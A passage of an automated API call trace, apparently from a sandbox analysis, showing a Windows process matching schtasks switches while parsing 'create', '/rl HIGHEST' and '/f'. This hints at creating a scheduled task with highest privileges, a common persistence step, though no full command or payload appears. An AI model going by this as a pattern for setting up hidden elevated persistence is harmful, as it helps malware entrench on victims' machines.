| out: _Buffer="|rl|") returned 4 [0071.574] lstrlenW (lpString="|tr|") returned 4 [0071.574] lstrlenW (lpString="|rl|") returned 4 [0071.574] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0071.574] SetLastError (dwErrCode=0x490) [0071.574] lstrlenW (lpString="st") returned 2 [0071.574] lstrlenW (lpString="st") returned 2 [0071.574] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.574] lstrlenW (lpString="rl") returned 2 [0071.574] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.574] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|st|") returned 4 [0071.574] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.574] lstrlenW (lpString="|st|") returned 4 [0071.574] lstrlenW (lpString="|rl|") returned 4 [0071.574] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0071.574] SetLastError (dwErrCode=0x490) [0071.574] lstrlenW (lpString="sd") returned 2 [0071.574] lstrlenW (lpString="sd") returned 2 [0071.574] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.574] lstrlenW (lpString="rl") returned 2 [0071.574] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.575] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sd|") returned 4 [0071.575] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.575] lstrlenW (lpString="|sd|") returned 4 [0071.575] lstrlenW (lpString="|rl|") returned 4 [0071.575] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0071.575] SetLastError (dwErrCode=0x490) [0071.575] lstrlenW (lpString="ed") returned 2 [0071.575] lstrlenW (lpString="ed") returned 2 [0071.575] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.575] lstrlenW (lpString="rl") returned 2 [0071.575] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.575] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ed|") returned 4 [0071.575] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.575] lstrlenW (lpString="|ed|") returned 4 [0071.575] lstrlenW (lpString="|rl|") returned 4 [0071.575] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0071.575] SetLastError (dwErrCode=0x490) [0071.575] lstrlenW (lpString="it") returned 2 [0071.575] lstrlenW (lpString="it") returned 2 [0071.575] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.575] lstrlenW (lpString="rl") returned 2 [0071.575] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.575] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|it|") returned 4 [0071.575] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.575] lstrlenW (lpString="|it|") returned 4 [0071.575] lstrlenW (lpString="|rl|") returned 4 [0071.575] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0071.575] SetLastError (dwErrCode=0x490) [0071.575] lstrlenW (lpString="et") returned 2 [0071.576] lstrlenW (lpString="et") returned 2 [0071.576] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] lstrlenW (lpString="rl") returned 2 [0071.576] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|et|") returned 4 [0071.576] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.576] lstrlenW (lpString="|et|") returned 4 [0071.576] lstrlenW (lpString="|rl|") returned 4 [0071.576] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0071.576] SetLastError (dwErrCode=0x490) [0071.576] lstrlenW (lpString="k") returned 1 [0071.576] lstrlenW (lpString="k") returned 1 [0071.576] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] lstrlenW (lpString="rl") returned 2 [0071.576] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|k|") returned 3 [0071.576] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.576] lstrlenW (lpString="|k|") returned 3 [0071.576] lstrlenW (lpString="|rl|") returned 4 [0071.576] SetLastError (dwErrCode=0x490) [0071.576] lstrlenW (lpString="du") returned 2 [0071.576] lstrlenW (lpString="du") returned 2 [0071.576] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] lstrlenW (lpString="rl") returned 2 [0071.576] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.576] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|du|") returned 4 [0071.576] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.576] lstrlenW (lpString="|du|") returned 4 [0071.576] lstrlenW (lpString="|rl|") returned 4 [0071.577] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0071.577] SetLastError (dwErrCode=0x490) [0071.577] lstrlenW (lpString="ri") returned 2 [0071.577] lstrlenW (lpString="ri") returned 2 [0071.577] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] lstrlenW (lpString="rl") returned 2 [0071.577] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ri|") returned 4 [0071.577] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.577] lstrlenW (lpString="|ri|") returned 4 [0071.577] lstrlenW (lpString="|rl|") returned 4 [0071.577] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0071.577] SetLastError (dwErrCode=0x490) [0071.577] lstrlenW (lpString="z") returned 1 [0071.577] lstrlenW (lpString="z") returned 1 [0071.577] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] lstrlenW (lpString="rl") returned 2 [0071.577] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|z|") returned 3 [0071.577] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.577] lstrlenW (lpString="|z|") returned 3 [0071.577] lstrlenW (lpString="|rl|") returned 4 [0071.577] SetLastError (dwErrCode=0x490) [0071.577] lstrlenW (lpString="f") returned 1 [0071.577] lstrlenW (lpString="f") returned 1 [0071.577] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] lstrlenW (lpString="rl") returned 2 [0071.577] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.577] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.577] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.577] lstrlenW (lpString="|f|") returned 3 [0071.578] lstrlenW (lpString="|rl|") returned 4 [0071.578] SetLastError (dwErrCode=0x490) [0071.578] lstrlenW (lpString="v1") returned 2 [0071.578] lstrlenW (lpString="v1") returned 2 [0071.578] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] lstrlenW (lpString="rl") returned 2 [0071.578] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|v1|") returned 4 [0071.578] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.578] lstrlenW (lpString="|v1|") returned 4 [0071.578] lstrlenW (lpString="|rl|") returned 4 [0071.578] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0071.578] SetLastError (dwErrCode=0x490) [0071.578] lstrlenW (lpString="xml") returned 3 [0071.578] lstrlenW (lpString="xml") returned 3 [0071.578] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] lstrlenW (lpString="rl") returned 2 [0071.578] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|xml|") returned 5 [0071.578] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.578] lstrlenW (lpString="|xml|") returned 5 [0071.578] lstrlenW (lpString="|rl|") returned 4 [0071.578] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0071.578] SetLastError (dwErrCode=0x490) [0071.578] lstrlenW (lpString="ec") returned 2 [0071.578] lstrlenW (lpString="ec") returned 2 [0071.578] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] lstrlenW (lpString="rl") returned 2 [0071.578] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.578] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ec|") returned 4 [0071.578] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.579] lstrlenW (lpString="|ec|") returned 4 [0071.579] lstrlenW (lpString="|rl|") returned 4 [0071.579] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0071.579] SetLastError (dwErrCode=0x490) [0071.579] lstrlenW (lpString="rl") returned 2 [0071.579] lstrlenW (lpString="rl") returned 2 [0071.579] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.579] lstrlenW (lpString="rl") returned 2 [0071.579] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.579] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.579] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rl|") returned 4 [0071.579] lstrlenW (lpString="|rl|") returned 4 [0071.579] lstrlenW (lpString="|rl|") returned 4 [0071.579] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0071.579] SetLastError (dwErrCode=0x0) [0071.579] SetLastError (dwErrCode=0x0) [0071.579] lstrlenW (lpString="HIGHEST") returned 7 [0071.579] lstrlenW (lpString="-/") returned 2 [0071.579] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0071.579] SetLastError (dwErrCode=0x490) [0071.579] SetLastError (dwErrCode=0x490) [0071.579] SetLastError (dwErrCode=0x0) [0071.579] lstrlenW (lpString="HIGHEST") returned 7 [0071.579] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0071.579] SetLastError (dwErrCode=0x490) [0071.579] SetLastError (dwErrCode=0x0) [0071.579] _memicmp (_Buf1=0x1fd660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.579] lstrlenW (lpString="HIGHEST") returned 7 [0071.579] lstrlenW (lpString="HIGHEST") returned 7 [0071.579] lstrlenW (lpString=" \x09") returned 2 [0071.579] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0071.579] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0071.580] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0071.580] GetLastError () returned 0x0 [0071.580] lstrlenW (lpString="HIGHEST") returned 7 [0071.580] lstrlenW (lpString="HIGHEST") returned 7 [0071.580] SetLastError (dwErrCode=0x0) [0071.580] SetLastError (dwErrCode=0x0) [0071.580] lstrlenW (lpString="/f") returned 2 [0071.580] lstrlenW (lpString="-/") returned 2 [0071.580] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.580] lstrlenW (lpString="create") returned 6 [0071.580] lstrlenW (lpString="create") returned 6 [0071.580] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.580] lstrlenW (lpString="f") returned 1 [0071.580] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.580] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.580] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.580] lstrlenW (lpString="|create|") returned 8 [0071.580] lstrlenW (lpString="|f|") returned 3 [0071.580] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0071.580] SetLastError (dwErrCode=0x490) [0071.580] lstrlenW (lpString="?") returned 1 [0071.580] lstrlenW (lpString="?") returned 1 [0071.580] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.580] lstrlenW (lpString="f") returned 1 [0071.580] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.580] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.581] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.581] lstrlenW (lpString="|?|") returned 3 [0071.581] lstrlenW (lpString="|f|") returned 3 [0071.581] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0071.581] SetLastError (dwErrCode=0x490) [0071.581] lstrlenW (lpString="s") returned 1 [0071.581] lstrlenW (lpString="s") returned 1 [0071.581] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.581] lstrlenW (lpString="f") returned 1 [0071.581] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.581] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.581] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.581] lstrlenW (lpString="|s|") returned 3 [0071.581] lstrlenW (lpString="|f|") returned 3 [0071.581] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0071.581] SetLastError (dwErrCode=0x490) [0071.581] lstrlenW (lpString="u") returned 1 [0071.581] lstrlenW (lpString="u") returned 1 [0071.581] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.581] lstrlenW (lpString="f") returned 1 [0071.581] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.581] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.581] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.581] lstrlenW (lpString="|u|") returned 3 [0071.581] lstrlenW (lpString="|f|") returned 3 [0071.581] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0071.581] SetLastError (dwErrCode=0x490) [0071.581] lstrlenW (lpString="p") returned 1 [0071.581] lstrlenW (lpString="p") returned 1 [0071.581] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.581] lstrlenW (lpString="f") returned 1 [0071.581] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.582] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.582] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.582] lstrlenW (lpString="|p|") returned 3 [0071.582] lstrlenW (lpString="|f|") returned 3 [0071.582] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0071.582] SetLastError (dwErrCode=0x490) [0071.582] lstrlenW (lpString="ru") returned 2 [0071.582] lstrlenW (lpString="ru") returned 2 [0071.582] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.582] lstrlenW (lpString="f") returned 1 [0071.582] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.582] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.582] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.582] lstrlenW (lpString="|ru|") returned 4 [0071.582] lstrlenW (lpString="|f|") returned 3 [0071.582] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0071.582] SetLastError (dwErrCode=0x490) [0071.582] lstrlenW (lpString="rp") returned 2 [0071.582] lstrlenW (lpString="rp") returned 2 [0071.582] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.582] lstrlenW (lpString="f") returned 1 [0071.582] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.582] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.582] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.582] lstrlenW (lpString="|rp|") returned 4 [0071.582] lstrlenW (lpString="|f|") returned 3 [0071.582] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0071.582] SetLastError (dwErrCode=0x490) [0071.582] lstrlenW (lpString="sc") returned 2 [0071.582] lstrlenW (lpString="sc") returned 2 [0071.582] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] lstrlenW (lpString="f") returned 1 [0071.583] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.583] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.583] lstrlenW (lpString="|sc|") returned 4 [0071.583] lstrlenW (lpString="|f|") returned 3 [0071.583] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0071.583] SetLastError (dwErrCode=0x490) [0071.583] lstrlenW (lpString="mo") returned 2 [0071.583] lstrlenW (lpString="mo") returned 2 [0071.583] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] lstrlenW (lpString="f") returned 1 [0071.583] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.583] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.583] lstrlenW (lpString="|mo|") returned 4 [0071.583] lstrlenW (lpString="|f|") returned 3 [0071.583] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0071.583] SetLastError (dwErrCode=0x490) [0071.583] lstrlenW (lpString="d") returned 1 [0071.583] lstrlenW (lpString="d") returned 1 [0071.583] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] lstrlenW (lpString="f") returned 1 [0071.583] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.583] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|d|") returned 3 [0071.583] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.583] lstrlenW (lpString="|d|") returned 3 [0071.583] lstrlenW (lpString="|f|") returned 3 [0071.583] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0071.583] SetLastError (dwErrCode=0x490) [0071.583] lstrlenW (lpString="m") returned 1 [0071.584] lstrlenW (lpString="m") returned 1 [0071.584] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] lstrlenW (lpString="f") returned 1 [0071.584] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|m|") returned 3 [0071.584] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.584] lstrlenW (lpString="|m|") returned 3 [0071.584] lstrlenW (lpString="|f|") returned 3 [0071.584] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0071.584] SetLastError (dwErrCode=0x490) [0071.584] lstrlenW (lpString="i") returned 1 [0071.584] lstrlenW (lpString="i") returned 1 [0071.584] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] lstrlenW (lpString="f") returned 1 [0071.584] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|i|") returned 3 [0071.584] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.584] lstrlenW (lpString="|i|") returned 3 [0071.584] lstrlenW (lpString="|f|") returned 3 [0071.584] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0071.584] SetLastError (dwErrCode=0x490) [0071.584] lstrlenW (lpString="tn") returned 2 [0071.584] lstrlenW (lpString="tn") returned 2 [0071.584] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] lstrlenW (lpString="f") returned 1 [0071.584] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.584] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.584] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.584] lstrlenW (lpString="|tn|") returned 4 [0071.584] lstrlenW (lpString="|f|") returned 3 [0071.585] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0071.585] SetLastError (dwErrCode=0x490) [0071.585] lstrlenW (lpString="tr") returned 2 [0071.585] lstrlenW (lpString="tr") returned 2 [0071.585] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.585] lstrlenW (lpString="f") returned 1 [0071.585] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.585] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tr|") returned 4 [0071.585] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.585] lstrlenW (lpString="|tr|") returned 4 [0071.585] lstrlenW (lpString="|f|") returned 3 [0071.585] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0071.585] SetLastError (dwErrCode=0x490) [0071.585] lstrlenW (lpString="st") returned 2 [0071.585] lstrlenW (lpString="st") returned 2 [0071.585] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.585] lstrlenW (lpString="f") returned 1 [0071.585] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.585] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|st|") returned 4 [0071.585] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.585] lstrlenW (lpString="|st|") returned 4 [0071.585] lstrlenW (lpString="|f|") returned 3 [0071.585] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0071.585] SetLastError (dwErrCode=0x490) [0071.585] lstrlenW (lpString="sd") returned 2 [0071.585] lstrlenW (lpString="sd") returned 2 [0071.585] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.585] lstrlenW (lpString="f") returned 1 [0071.585] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.586] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sd|") returned 4 [0071.586] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|f|") returned 3 [0071.586] lstrlenW (lpString="|sd|") returned 4 [0071.586] lstrlenW (lpString="|f|") returned 3 [0071.586] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0071.586] SetLastError (dwErrCode=0x490) [0071.586] lstrlenW (lpString="ed") returned 2 [0071.586] lstrlenW (lpString="ed") returned 2 [0071.586] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.586] lstrlenW (lpString="f") returned 1 [0071.586] 